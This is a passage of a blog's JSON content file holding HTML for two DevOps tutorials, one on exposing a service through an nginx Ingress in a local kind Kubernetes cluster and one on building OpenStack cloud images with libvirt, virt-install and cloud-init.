#F69D50\"\u003e\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eannotations\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eingressClassName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erules\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epathType\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebackend\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e              \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003enumber\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThere are a few critical options here.  The first is the annotation to rewrite\nthe path so it doesn't include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment!  You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-20T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["old","preparing_cloud_images_with_libvirt"],"path":"old/preparing_cloud_images_with_libvirt","contentHtml":"\u003cp\u003eThis article will show you how to use libvirt to create base images that\ncan be uploaded to OpenStack.\u003c/p\u003e\n\u003ch1\u003eWhy would you want to do this?\u003c/h1\u003e\n\u003cp\u003eLinux distributions like Fedora and Ubuntu already ship \"cloud\" images\nand most providers also have their own custom images for you to use, but\nI find it much more comforting to have full control of the software that\nis installed and I like the ability to easily apply new security patches\nto base images.\u003c/p\u003e\n\u003cp\u003eI wouldn't use images to replace config management (CM) with something\nlike \u003ca href=\"http://www.saltstack.com/\"\u003eSalt\u003c/a\u003e or\n\u003ca href=\"http://www.ansible.com/\"\u003eAnsible\u003c/a\u003e but they are nice to give sane system\ndefaults in things like \u003ccode\u003egrub.conf\u003c/code\u003e, \u003ccode\u003esysctl.conf\u003c/code\u003e, and shipping a Chef\nor Salt agent so that your CM engine can communicate with your server\nright away.\u003c/p\u003e\n\u003ch1\u003eSetting up your environment\u003c/h1\u003e\n\u003cp\u003eThe first thing you need to do is get a minimal install disk for the\nLinux distribution you want to use. I prefer using Fedora netinst disks\nbut another popular option is Ubuntu Server.\u003c/p\u003e\n\u003cp\u003eTo get the latest Fedora here, you can choose \"netinst\" under Direct\nDownloads: \u003ca href=\"http://fedoraproject.org/en/get-fedora-all\"\u003ehttp://fedoraproject.org/en/get-fedora-all\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eTo get the latest Ubuntu you can go here:\n\u003ca href=\"http://www.ubuntu.com/download/server\"\u003ehttp://www.ubuntu.com/download/server\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOnce you have acquired your distribution of choice you just need to\nverify that you have \u003ccode\u003evirt-install\u003c/code\u003e and \u003ccode\u003evirt-viewer\u003c/code\u003e installed:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evirt-install\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evirt-viewer\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evirtinst\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evirt-viewer\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you prefer a graphical user interface, you may use \u003ccode\u003evirt-manager\u003c/code\u003e\ninstead, but I try to keep everything in the CLI; that way it can be\nrepeated easily.\u003c/p\u003e\n\u003ch1\u003ePreparing your disk\u003c/h1\u003e\n\u003cp\u003eNow that you have a base ISO and the tools necessary, let's get started\nby creating a disk to install the virtual server into. Resizing an image\nisn't an impossible task but it is much easier to choose a reasonably\nsized disk for the purpose it will be used for.\u003c/p\u003e\n\u003cp\u003eI primarily use 8 GB disks -- that way we can fit all the system\ncomponents required as well as our own web applications. Any large files\nshould be placed in a SAN or something like Dreamhost's dreamobjects.\u003c/p\u003e\n\u003cp\u003eThe other big decision you must make upfront is what disk format you\nwant to use -- the trade-off is disk space vs performance. The two\nprimary formats are qcow2 (QEMU Copy on Write) and Raw. qcow2 is great\nif you have limited disk space and don't want to allocate the full 8 GB\nup front. Raw is preferred if you want the best performance.\u003c/p\u003e\n\u003cp\u003eIf you choose qcow2, you'll also need to make sure you have \u003ccode\u003eqemu-img\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eqemu-img\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eqemu-utils\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCreate a raw disk:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003efallocate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-l\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8192\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eM\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver.img\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCreate a qcow2 disk:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eqemu-img\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eqcow2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver.qcow2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eInstalling your distribution onto the disk\u003c/h1\u003e\n\u003cp\u003eWe will use the \u003ccode\u003evirt-install\u003c/code\u003e command to get the distribution installed\nonto the disk image.\u003c/p\u003e\n\u003cp\u003eTo install Fedora on a qcow2 disk image:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evirt-install\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebase_server\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--ram\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1024\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cdrom=./Fedora-20-x86_64-netinst.iso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e--disk \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epath=./server.qcow2,format=qcow2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTo install Ubuntu Server on a raw disk image:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evirt-install\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebase_server\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--ram\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1024\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cdrom=./ubuntu-12.04.4-server-amd64.iso\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e--disk \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epath=./server.img,format=raw\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should follow the standard install steps that you normally would\nwhen setting up your distribution. But here are some tips for each:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChoose minimal install -- by default it selects \"GNOME\".\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eBe sure to select OpenSSH server -- it won't install it by\ndefault.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOn Ubuntu 12.04, there is a bug that makes it hang after running\n\u003ccode\u003efsck\u003c/code\u003e. You will need to edit grub to get it to boot, hit _\u003ca href=\"\"\u003ee\u003c/a\u003e at\nthe boot prompt and add \"nomodeset\" on the linux line. You will\nknow that you need to do this if your boot hangs on fsck:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003efsck\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eutil-linux\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2.20\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e/dev/mapper/ubuntu--vg-root:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclean,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e57106\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/441504\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiles,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e286779\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1764352\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eblocks\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e/dev/sda1:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eclean,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e230\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/62248\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efiles,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e39833\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/248832\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eblocks\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003ePreparing image for openstack\u003c/h1\u003e\n\u003cp\u003eTo prepare a virtual machine for the cloud, you will need to install the\n\u003ccode\u003ecloud-init\u003c/code\u003e package, which allows the cloud providers to inject certain\nsystem settings when creating servers based on the image. These are\nthings like hostname and ssh keys.\u003c/p\u003e\n\u003cp\u003eOn Fedora:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecloud-init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn Ubuntu:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecloud-init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen you need to just configure \u003ccode\u003ecloud-init\u003c/code\u003e by editing\n\u003ccode\u003e/etc/cloud/cloud.cfg\u003c/code\u003e and update the \u003ccode\u003edatasources_list\u003c/code\u003e section to\ninclude EC2. OpenStack uses EC2 metadata for \u003ccode\u003ecloud-init\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eYou should also verify the user setting in this same config and define\nthe user you plan to use, it will be where the \u003ccode\u003eauthorized_keys\u003c/code\u003e file is\nsetup for when the cloud provider injects your SSH key into the server.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ecloud-init\u003c/code\u003e will not create the user for you, it will just assign the\nSSH keypair and reset the password. So make sure the user defined in\n\u003ccode\u003ecloud.cfg\u003c/code\u003e is also created on the system.\u003c/p\u003e\n\u003cp\u003eOnce you have your \u003ccode\u003ecloud-init\u003c/code\u003e settings the way you want them, just\nshutdown and run the \u003ccode\u003evirt-sysprep\u003c/code\u003e command.\u003c/p\u003e\n\u003cp\u003eOn the guest machine:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eshutdown\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-h\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enow\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOn the host machine:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evirt-sysprep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebase_server\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eUploading your image to OpenStack\u003c/h1\u003e\n\u003cp\u003eUsing the glance API it is very straightforward to upload the image to\nOpenStack. Just run the following command:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglance\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage-create\u003c/span\u003e\u003cspan style=\"color: 